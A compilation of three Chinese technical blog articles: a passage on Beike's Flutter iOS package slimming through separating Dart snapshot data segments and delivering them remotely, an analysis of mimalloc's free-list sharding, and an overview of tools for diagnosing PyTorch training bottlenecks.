2.瘦身方案

2.1.去除符号化文件

贝壳通过 podspec 注入命令的方式,将 debug 符号信息剥离到指定目录,但这样会产生一个新的问题,Flutter 侧 error 无法解析,因此,我们在编译的同时将符号文件和 uuid 唯一标识绑定上传后端归档,在 App 的 Flutter 页面发生异常时,动态获取当前运行 app App.framework 组件的 uuid 标识,连同异常堆栈上报,后端根据 uuid 匹配符号文件,并解析异常堆栈,这部分可以瘦身 1.3M 左右。

以下是 Flutter error 的解析流程图:

由各个业务方梳理无用页面及无用资源文件、图片压缩等等,其中无用代码及无用资源删减有 2M 的收益,图片压缩有 800k 的收益。

我们完成剪裁以后,还需要进一步研究其他瘦身手段,比如动态下发。

2.2Flutter 产物数据段及资源的动态下发

是否可以将两个动态库 App.framework 和 Flutter.framework 全部动态下发?答案是不行的,原因是由于 iOS 系统的限制,可执行文件是不可以动态下发的。

那我们进一步分析,哪些东西是可以动态下发的,哪些东西是不可以动态下发的。参考图 1,首先 flutter_assets 和 icudtl.dat 是资源文件,不存在权限的问题,所以可以动态下发,那么除了这些资源文件,其他部分是否可以动态下发呢?我们接着看。

实现环境:Flutter SDK 2.2.2(目前 Flutter 官方已经发布了 Flutter 2 版本,贝壳也已经适配了 Flutter2.2.2 版本,因此后面基于 Flutter2.2.2 版本进行分析)首先我们看下 Flutter 是如何编译出产物的。

App.framework 的可执行文件经过编译命令优化后,主要由以下四部分构成:

kDartIsolateSnapshotData //代表 Dart 堆的初始状态,并包含 isolate 专属的信息。

kDartVmSnapshotData //代表 isolate 之间共享的 Dart 堆 (heap) 的初始状态。有助于更快地 启动 Dart isolate,但不包含任何 isolate 专属的信息。

kDartIsolateSnapshotInstructions //包含由 Dart isolate 执行的 AOT 代码。

kDartVmSnapshotInstructions //包含 VM 中所有 Dart isolate 之间共享的通用例程的 AOT 指令。这种快照的体积通常非常小,并且大多会包含程序桩 (stub)。

首先了解下什么是 isolate,DartVM 采用了所谓快照的方式,即 JIT 运行时编译后的基本结构与 AOT 编译的基本结构相同。将类信息、全局变量、函数指令直接以序列化的方式存在磁盘中,称为 Snapshot(快照)。同一个进程里可以有很多 isolate,但两个 isolate 的堆区是不能共享的,所以官方设计了 VM isolate,也就是 kDartVmSnapshot,用来多个 isolate 之间的交互。kDartVmSnapshot 分为指令段和数据段,对应上面的 kDartVmSnapshotData 和 kDartVmSnapshotInstructions,内置在 App.framework 里。具体关系如图:

而 isolate 对应的就是 kDartIsolateSnapshot,同样也分为指令段和数据段,对应上面的 kDartIsolateSnapshotData 和 kDartIsolateSnapshotInstructions。

官方文档解释 From the VM's perspective, this just needs to be loaded in memory with READ permissions and does not need WRITE or EXECUTE permissions. Practically this means it should end up in rodata when putting the snapshot in a shared library.

iOS 系统是不允许动态下发可执行二进制代码的,但 kDartIsolateSnapshotData 和 kDartVmSnapshotData 两个数据段的加载是不受系统限制的,所以我们要针对这两部分(上图黄色部分),制定具体的分离方案以及加载方案。

2.2.1、如何分离数据段并回写到磁盘

从上图可以看出 gen_snapshot 为 Dart 编译器,编译后的产物 snapshot_assembly.S 文件再根据不同的平台,编译出不通平台的产物。

分离数据段分为两部分:

  1. 将数据段回写到磁盘上,放入云端服务器动态下发。

  2. 将数据段从 App.framework 中剔除,达到瘦身效果

我们从 gen_snapshot 入手,将数据段产物剥离出来。具体实现如下:

经过验证,release 模式下走的是 CreateAndWritePrecompiledSnapshot 编译流程,因此我们将其改造,将数据段回写到磁盘,需要重写 CreateAppAOTSnapshotAsAssembly 方法。至于回写文件,我们发现 debug 模式下会使用 WriteFile 方法写入文件,这里仿照 debug 模式,将回传的数据段写入./ios/Flutter/Resource/路径下。

Dart_CreateAppAOTSnapshotAsAssembly 具体实现为在 dart_api_impl.cc 文件,gen_snapshot 编译器会将 dart 代码编译为 snapshot_assembly.S 文件,而 snapshot_assembly.S 文件实际上就包含了

kDartIsolateSnapshotData //数据段

kDartVmSnapshotData //数据段

kDartIsolateSnapshotInstructions //代码段

kDartVmSnapshotInstructions //代码段

这几部分。那么我们找到如何将数据段和代码段写入 snapshot_assembly.S 文件,把数据段分离出来不就可以了吗?我们在 FullSnapshotWriter 里发现了整个 snapshot_assembly.S 的写入过程。

到这一步我们已经将数据段回写到磁盘上了,Resource 下成功写入了两个数据段产物,如下图:

2.2.2、将数据段从可执行文件中剔除

同理,找到写入数据段的位置,将其剔除,我们本着改动量最小的原则,分析原有写入逻辑,发现源码里已经将不同符号类型的数据归类,那么顺着原有逻辑,在写入符号的时候,将数据段类型剔除即可。具体源码如下:

通过 nm 命令验证 App 文件中是否只剩下代码段:

对比剥离之前:

数据段剥离之后,也就完成了我们瘦身的目的,但是 App 运行时,没有数据段是不行的,会造成 App 崩溃,因此我们还需要一套完善的方案,来保证数据段从远端下发之后,安全的被加载。

2.2.3、如何加载分离后的数据段

我们来看下加载流程

Flutter 引擎启动的时候,会创建 DartVM,同时加载可执行文件中的代码段和数据段。具体方法可追溯到 ResolveVMData、ResolveVMInstructions、ResolveIsolateData、ResolveIsolateInstructions 等四个方法,分别加载了数据段与代码段,而这四个方法都指向了同一个方法,也就是 SearchMapping 方法,如下:

从 SearchMapping 方法中可以判断,加载顺序为,先从 settings.vm_snapshot_data 或 settings.isolate_snapshot_data 加载,若不存在则从 settings.vm_snapshot_data_path 或 settings.isolate_snapshot_data_path 读取,再然后从 settings.application_library_path 中加载。

那么如果我们篡改 settings.vm_snapshot_data_path 和 settings.isolate_snapshot_data_path 的指向,是否可以将我们本地的数据段正确加载呢?答案是肯定的。

从上面的加载流程图里可以看出来 Setting 类的初始化是在 FlutterDartProject 类里。我们在 FlutterDartProject 重设数据段路径、flutter_assets 路径和 icu_data 国际化文件路径。

首先我们在 App 启动时将分离产物下载到沙盒内的指定路径下:Document/flutter_resource/Resource/*

然后将 setting 类中 path 指定到此路径下。

设置完成以后,DartVM 启动所需要的各种资源与二进制就可以正常加载了。

工程化落地

有了初步的瘦身方案,具体落地还需要很多配套措施,比如持续集成,私有云及监控体系。

工程化落地主要包括三部分:

第一部分:定制 Flutter SDK

一、将 Flutter.framework 文件和 gen_snapshot 文件进行归档,同时需要制作 dSYM 符号表文件。

iOS 提供了两个工具,一个是用于 Flutter.framework 的规定及符号表导出,另一个是用于 gen_snapshot 文件的归档,他们位于 engine/src/flutter/sky/tools/create_ios_framework.py 和 engine/src/flutter/sky/tools/create_macos_gen_snapshots.py。

最终如图所示

ios-release 文件夹就是我们我最终改造完的产物,接下来就是定制 sdk 了。

实际上 Flutter sdk 里会根据不同的平台,不同的 build model 选择不同的编译器和 Flutter engine,如下图所示:

我们只需要把刚刚归档出来的 ios-release 替换 Flutter sdk 里的 ios-release 文件夹,之后 release 模式下打 iOS 产物,App.framework 就会是剥离出数据段的产物。

二、结合 flutterw 部署定制 sdk

由于目前公司 Flutter sdk 存在多个版本,比如 1.12.13、1.22.4 等,因此我们开发了 Flutter sdk 自动化管理工具 flutterw,可以根据项目的不同配置,切换不同的 Flutter sdk,包括官方 sdk,并且自动同步官方新版本。因此我们借助 flutterw 的能力,部署定制的 Flutter sdk,在有瘦身需求的项目里配置 sdk 版本即可。

首先发布定制 sdk:

结果如图:

接着在对应的项目中配置相应的 flutter sdk 版本,如下图:

三、改造 xcode_backend.sh 编译脚本,将数据段、资源包等压缩

编译之后产物被压缩成 flutter_resource.zip,同时为了标识产物的唯一性,将可执行文件的 uuid 作为唯一标识,每次下载完成之后需要先对比 uuid 是否一致。若不一致则更新产物。

第二部分:上传产物平台或内置压缩

到这一步我们准备了两种方案:

内置压缩方案:

也就是将数据段和资源包统一压缩内置在 App.framework 内,应用安装启动后自动解压放在指定位置。

动态下发方案:

对于其他小体量 App,可以采取远程下发的方案,也就是将 flutter_resource.zip 和 uuid_app.txt 上传到 s3 平台(资源服务器),同时在阿波罗平台(配置平台)增加新版本配置。应用启动后下载的方案。

方案对比:

两种方案对比之下,动态下发的瘦身效果最好,但成功率没有内置压缩高,内置压缩方案由于只增加了一个解压环节,因此成功率较高。不同的 APP 可以根据自己的需求采用不同的方案。

第三部分:产物管理

若使用远端下载方案,App 启动会首先拉取远端产物,并将版本信息生成缓存,校验 md5 通过后即可加载,当发现有新版本产物则拉取新版本产物并替换。至于内置压缩方案,则根据 App.framework 的 UUID 来判断是否是正确的产物。

内置压缩方案成功率达到了 99.99%,极小部分失败原因在于内存空间不足。

对于远程下发方案,App 启动后下载相关资源并解压,成功率会受到网络因素影响,增加了重试逻辑之后成功率如下:

尽管下载成功率达到了 99.4%但对于 C 端这种大体量的 app 来说,仍然会影响大量的用户,因此在 C 端使用的是成功率更高的内置压缩方案。

收益

通过动态下发这种方式,虽然可以显著的减小 Flutter 包体积,但是也会带来其他问题,比如由于网络原因导致产物下载失败。因此我们提供了更加安全可靠的方式,将这些文件压缩然后内置在 app 包内。

动态下发方案:

压缩内置方案:

优势:

1.通用的解决方案,任何接入 Flutter 的 APP 都可以用

2.只需集成一次,无需定时优化

3.随着 Flutter 业务的增多,瘦身效果也会更明显

劣势:

剥离出的产物需要通过网络下发,下载成功率取决于网络状况、内存空间等等因素制约。所以后续规划中,会结合 Flutter2web 来缓解由于下载失败,导致 Flutter 页面无法打开的情况。

符号化剥离及混淆:

注:Thin 模式就是数据段及资源动态下发或内置压缩的模式

总体瘦身:

经过上述方案的优化,Flutter 侧瘦身总大小达到了 7M 左右。

而经过各个业务方共同的努力,贝壳找房 app 包大小终于达标。以当时的 V2.47 版本为例:

“iPhone6-iPhoneX 系列”机型安装大小 149.2-149.8M,下载大小 110.5M

“iPhone11-12”机型安装大小 139.4M,下载大小仅 53M

Flutter engine 的改造源码目前已经开源,如果想尝试贝壳方案的同学可以按照开源文档接入。

开源地址:GitHub - LianjiaTech/flutter_beike_engine

后续规划

基于以上的优势劣势,贝壳致力于更加高标准的目标, 那么有没有其他办法在不影响成功率的情况下最大程度的增加瘦身比例呢?答案是有的,那就是结合 Flutter for web 来做兜底方案。具体方案如下:

我们知道,Flutter 在三端一体化做了大量的工作,Flutter 页面可以很好的被转换为 web 页面,我们可以借助这个特性,在编译发版包的时候,同时将 Flutter 工程编译为 Web 产物并部署在远端,当 App 启动后 Flutter 产物由于种种原因最终都无法下载成功的时候,自动打开对应的 web 页面。

关于 Fluttter for web 容灾降级更详细内容可参考:

https://mp.weixin.qq.com/s/zIeU0z-4P5Pd9THVybnDFQ

参考链接


mimalloc剖析

mimalloc是微软最近开源的一个malloc实现,其实验数据表明相比于jemalloc、tcmalloc等实现大约快了10%。其通过将空闲块列表(Free List)进行分片(Sharding)来保证分配的内存有更好的空间的局部性,从而提升性能。在mimalloc中一共进行了4次Free List的Sharding。接下来我们会分别介绍这4个Free List的Sharding的位置以及其为什么要进行Free List的Sharding。

在Mimalloc页中进行的Free List的Sharding

在其他的内存分配器的实现中,一般会为每一类大小的对象保留一个Free List,随着内存的不断分配与释放,这个列表中的对象可能散布在整个地址空间中,因此内存分配的局部性较差。而在mimalloc中,其通过将内存分页,每个页负责一个特定大小的内存的分配,每个页有一个Free List,因此内存分配的空间局部性较好。

其他内存分配器的Free List
其他内存分配器的Free List
mimalloc的Free List
mimalloc的Free List

Local Free List

mimalloc希望能够限制内存分配与内存释放在最差情况下的时间消耗,如果上层应用需要释放一个非常大的结构体,其可能需要递归的释放一些子结构体,因而可能带来非常大的时间消耗。因而在koka与lean语言中,其运行时系统使用引用计数来追踪各种数据,然后保留一个延迟释放的队列(deferred decrement list),当每次释放的内存块超过一定数量后就将剩余需要释放的内存块加入该队列,在之后需要释放的时候再进行释放。那么下一个需要确定的问题是什么时候再去从该队列中释放内存。从延迟释放队列中继续进行释放的时机最好应当是内存分配器需要更多空间的时候,因此这需要内存分配器与上层应用的协作。

在mimalloc中,其提供一个回调函数,当进行了一定次数内存的分配与释放后会主动调用该回调函数来通知上层应用。mimalloc在实现时检测当前进行内存分配的页的Free List是否为空,如果为空则调用该回调,但是为了避免用于一直不断的分配与释放内存,导致Free List一直不为空,而导致回调函数一直得不到回调。因此mimalloc将Free List第二次进行Sharding,将其分为Free List与Local Free List。

当内存在进行分配时会从对应页的Free List中取得内存块,而释放时会将内存块加入Local Free List中,因而在进行一定次数的内存分配后,Free List必定为空,此时可以进行deferred free的回调函数的调用。

Thread Free List

在mimalloc中每个堆都是一个Thread Local的变量,而每次进行内存分配时,其均会从这个Thread Local的堆中进行内存的分配,而释放时即可能从该线程中释放也可能从其他线程中进行释放。如果进行内存释放的线程是该堆的拥有者,则其释放的内存会加入到对应页的Local Free List中,而由于还可能有其他的线程来释放这些内存,因此mimalloc第三次进行Free List的Sharding,将Local Free List分为Local Free List与Thread Free List。在进行内存的释放时,如果释放的线程为内存块对应堆的拥有着则将其加入Local Free List,否则利用CAS操作将其加入Thread Free List中。mimalloc通过这次分割来保证堆的所有者线程在自己的堆上进行内存的释放是无锁的,从而提升一些性能上的表现。

Full List

第四次的Free List的Sharding其实来自于mimalloc自身的实现,其内存分配的伪代码如下。由于在mimalloc中每个堆中都有一个数组pages,该数组中每个元素都是一个由相应大小的页组成的队列;同时还有一个pages_direct的数组,该数组中每个元素对应一个内存块的大小类型,每个元素均为指向负责对应大小内存块分配的页的指针。因此mimalloc在进行内存分配时会首先从该数组指向的页中尝试进行分配,如果分配失败则调用malloc_generic,在该函数中会遍历pages数组中对应大小的队列,此时如果对应的队列中有很多页均是满的,且队列很长那么每次分配的时候都会进行队列的遍历,导致性能的损失。

因此mimalloc构建了一个Full List,将所有已经没有空闲空间的页放入该队列中,仅当该页中有一些空闲空间被释放后才会将其放回pages对应的队列中。而在由于内存的释放可能由对应堆的拥有者线程进行也可能由其他线程进行,因此需要一定的方式提醒对应的堆该页已经有空闲块了,同时为了避免使用锁导致的开销,mimalloc通过加入一个Thread Delayed Free List,如果一个页处于Full List中,那么在释放时会将内存块加入Thread Delayed Free List中,该队列会在调用malloc_generic时进行检测与清除(由于时Thread Local的堆,因此仅可能是拥有者来进行),因此此时仅需通过原子操作即可完成。那么还有一个问题是当释放内存的时候,其他线程如何知道是将内存块加入Thread Free List中还是Thread Delayed Free List中。mimalloc通过设置NORMAL、DELAYED、DELAYING三种状态来完成该操作。

总结

mimalloc通过将Free List进行分割,保证分配的内存具有较好的局部性并避免了锁的使用,从而获得了更好的性能。

参考链接


mimalloc剖析

高性能 PyTorch 训练:性能瓶颈的调查与分析

PyTorch

在 2014 年之前,神经网络与深度学习还没有大规模地应用于工业界。研究者们开发了一些基本而有效的工具包,来搭建神经网络。其中的代表就是 Caffe、Torch 和 Theano。由于当时的研究主流方向是卷积神经网络 (CNN) 在计算机视觉 (CV) 中的应用,所以这些框架主要关注的是 layers。这种设计完全可以满足研究者们拼接不同卷积层、了解不同神经网络结构效果的目的。

而在之后,随着循环神经网络 (RNN) 和自然语言处理 (NLP) 的兴起,以 layers 为“first class citizen”的工具包们就开始力不从心了。而工业界也开始对模型构建、训练以及部署的效率提出了新的要求。随着以 Google、Microsoft、Facebook、Amazon 等巨头的加入,以数据流 (Data Flow) 为中心的体系被提出,TensorFlow、CNTK、MXNet、PyTorch 等新一代的深度学习框架应运而生。

PyTorch 是一个基于 Torch 库的开源机器学习库,用于计算机视觉和自然语言处理等应用,主要由 Facebook 的人工智能研究实验室 (FAIR) 开发。它是在修改后的 BSD 2.0 许可协议下发布的免费开源软件。

正如同它名字的前缀一般,PyTorch 主要采用 Python 语言接口。与 TensorFlow 1.x 相比,PyTorch 的编写方式更简单自然,API 更 pythonic,对 debug 也更加友好。因此,PyTorch 在学术界赢得了更多的拥趸,近年来顶级会议中,PyTorch 的代码提交量遥遥领先于第二名的 TensorFlow (Keras)。而在工业界,PyTorch 后来居上,已经逐渐和 TensorFlow 分庭抗礼。

很多学术界最新的成果都是以 PyTorch 构建的,并被作者开源在了 GitHub。但也有很多声音表示 PyTorch 在训练中比 TensorFlow 更慢。

高性能 PyTorch 的训练流程是什么样的?是产生最高准确率的模型?是最快的运行速度?是易于理解和扩展?还是容易并行化?

答案是,上述所有。

结合我自己给 PyTorch 提速的经历,本文将给出一些提升 PyTorch 性能的方向。当然,作为本文的读者,您需要对 Linux 操作系统和 PyTorch 足够熟悉。

了解瓶颈所在

首先,当感受到训练缓慢时,我们应当检查系统的状态来得知代码的性能被哪些因素限制了。计算,是一个由应用程序(代码)、存储设备(硬盘、内存)、运算设备(CPU、GPU)共同参与的过程,有着非常明显的木桶效应,即其中任意一个环节都有可能成为性能瓶颈的来源。

工具

此时,熟悉一些运维工具可以有效地帮助你了解当前整个计算机以及各个硬件设备的工作状态。只有将性能瓶颈定位到 CPU、GPU、I/O 或是代码中,才能开始解决问题。

htop

htop 是一个跨平台的交互式流程查看器。

htop 允许垂直和水平滚动进程列表,以查看它们的完整命令行以及内存和CPU消耗等相关信息。显示的信息可以通过图形设置进行配置,并且可以交互地进行排序和过滤。与进程相关的任务(例如终止和更新)可以在不输入其 PID 的情况下完成。

从 htop 顶部的信息集合中,可以监视 CPU 和内存的使用情况。

一个好的高性能程序,应当尽可能多地进行异步运算,来充分发挥多核 CPU 的能力。同时,尽量多地使用内存,能够大大提高数据的交流效率。当然,这并不意味着你可以把所有的 CPU 和内存资源耗尽,这将使系统不能够正常调度资源,反而拖累计算。

在所有的 Linux 发行版中,你都可以直接从软件仓库中安装 htop,例如:

iotop 和 iostat

iotop 是用来监视每个命令所占用的 I/O 情况的命令行应用程序。

iostat 则是属于 sysstat 工具包中的一个组件,可以监视外部存储设备(硬盘)当前的 I/O 情况。

安装命令分别为:

需要注意的是,因为涉及到 I/O 情况的监视,所以以上两款程序均需要 root 权限才能正常运行。

nvidia-smi

NVIDIA System Management Interface 是基于 NVIDIA Management Library (NVML) 的命令行应用程序,旨在帮助管理和监视 NVIDIA GPU 设备。

一般来说,GPU 的流处理器使用率越高,就说明 GPU 是在以更高的效率运转的。设备的当前功率也能从侧面反映这个问题。换言之,如果你发现你的流处理器利用率低于 50%,则说明模型没能很好地利用 GPU 的并行能力。

在通过 sh 脚本安装 NVIDIA GPU 驱动后,nvidia-smi 会被自动安装。如果是从发行版的仓库中安装的驱动,可以尝试在软件源中搜索安装 nvidia-smi

nvtop

nvtop 代表 NVIDIA top,由开发者 Maxime Schmitt 发布于 GitHub,是一款用于观察和记录 NVIDIA GPU 使用情况的 (h)top 任务监视器。你会发现 nvtop 有着与 htop 非常相似的 UI。

它可以用于 GPU,并以曲线图的形式输出在一段时间内 GPU 流处理器和显存使用情况的变化。

相比于 nvidia-sminvtop 会关注到更关键的设备信息,并给出其在时间序列上的变化情况。

你可以参考 Syllo/nvtop 中的描述自行编译安装 nvtop

py-spy

py-spy 是一个针对 Python 程序的采样分析器。

它使您可以直观地看到 Python 程序正在花费时间,而无需重新启动程序或以任何方式修改代码。 py-spy 的开销非常低:为了提高速度,它是用 Rust 编写的,并且不会在所分析的 Python 程序相同的进程中运行。这意味着对生产 Python 代码使用 py-spy 是安全的。

py-spy 可以生成如下的 SVG 图像,来帮助你统计每一个 package、model 甚至每一个 function 在运行时所耗费的时间。

py-spy 同样能够以 top 的方式实时显示 Python 程序中哪些函数花费的时间最多。

只需要在 pypi 中安装即可:

问题分析与解决思路

有了以上工具所收集的信息,我们就可以开始分析限制程序性能发挥的原因了。

PyTorch Workflow

而首先,我们要了解 PyTorch 的工作流程。

因为 PyTorch 使用 Python 接口,同时在底层调用了相当多的 C 库,所以在使用 PyTorch 时,很多细节对用户是不暴露的。实际上,在常见的训练过程中,用户和 PyTorch 一起,大致完成了以下的步骤:

  1. 构建模型。将编写好的模型类实例化为 nn.Module 对象。
  2. 准备数据。将训练数据和测试数据进行预处理,然后组织为 Dataloader 的形式,并设置好数据增强方案。
  3. 定义 Loss Function 和 Optimizer。
  4. 主训练循环。

其中,主训练循环决定了网络经过多少次完整的数据集,即我们常说的 epoch:

  1. 从 Dataloader 中提取当前 batch 的数据。一般 Dataloader 中只记录了数据的 index 信息,所以每次训练循环时,对应的数据都会从硬盘被读取到内存,然后再从内存放入显存中,交由 GPU 进行后续步骤。
  2. 数据经过模型。
  3. 将得到的输出送到 Loss Function 中计算损失,随后进行 backward 求导。
  4. Optimizer 执行梯度下降,更新参数。

一般来说,PyTorch 训练的过程的快慢决定于主训练循环。主循环中的每一步都将被执行上万次乃至几十万次,任何的效率提升都能够带来极大的收益。

CPU 瓶颈

CPU 和 GPU 的计算特点,决定了它们不同的功用:CPU 具有更高的主频和精度,适合于进行串行任务;GPU 拥有几千到上万个 Stream 核心,可以进行大规模的并行任务。

所以,对于数据增强等没有相互依赖的任务交给 CPU 来进行,很大程度上会拖慢训练的进程。在每次的数据导入时,都会产生一定时间的等待。这是一种非常普遍的 CPU 瓶颈,即将不适合 CPU 的任务交给它来处理。

GPU 瓶颈

如果你熟悉梯度下降 (Gradient Descent) 的原理,那么你一定能够理解 batch size 对训练速度的影响。梯度下降将一个 batch 中的平均梯度作为总体梯度方向的近似,进行一次参数更新。Batch size 越大,那么 GPU 内同时并行计算的数据也就越多,相应的训练速度会有很大的提升。

Batch size 的设定对最终的训练结果有一定的影响,但是在一定范围内的调整并不会产生非常大的扰动。

主流观点中,在不过分影响最终的模型性能的前提下,batch size 的选取以最大化利用显存和流处理器为佳。

I/O 瓶颈

I/O 瓶颈是最常见、最普遍的训练效率影响因素。

正如上文中所描述的,数据将会在硬盘、内存和显存中不断地转移和复制。不同存储设备的读写速度,可能有几个数量级上的差异。

出现 I/O 瓶颈的标志主要有:

  1. 系统 I/O 读写(尤其是硬盘读写)占用过高;
  2. 内存占用和 CPU 占用都普遍偏低;
  3. 显存占用较高的情况下,流处理器的利用率过低。

将数据预读入内存中、异步进行数据加载都是有效的解决方案。一个简单稳定的方式是直接使用 DALI 库。

NVIDIA Data Loading Library (DALI) 是一个可移植的开源库,用于解码和增强图像、视频和语音,以加速深度学习应用程序。DALI 通过重叠训练和预处理减少了延迟和训练时间,缓解了瓶颈。它为流行的深度学习框架中内置的数据加载器和数据迭代器提供了一个插件,便于集成或重定向到不同的框架。

用图像训练神经网络需要开发人员首先对这些图像进行归一化处理。此外,图像通常会被压缩以节省存储空间。因此,开发人员构建了多阶段数据处理流程,包括加载、解码、裁剪、调整大小和许多其他增强算子。这些目前在 CPU 上执行的数据处理流水线已经成为瓶颈,限制了整体吞吐量。

DALI 是内置数据加载器和数据迭代器的高性能替代品。开发人员现在可以在 GPU 上运行他们的数据处理工作。

参考链接


高性能 PyTorch 训练 (1):性能瓶颈的调查与分析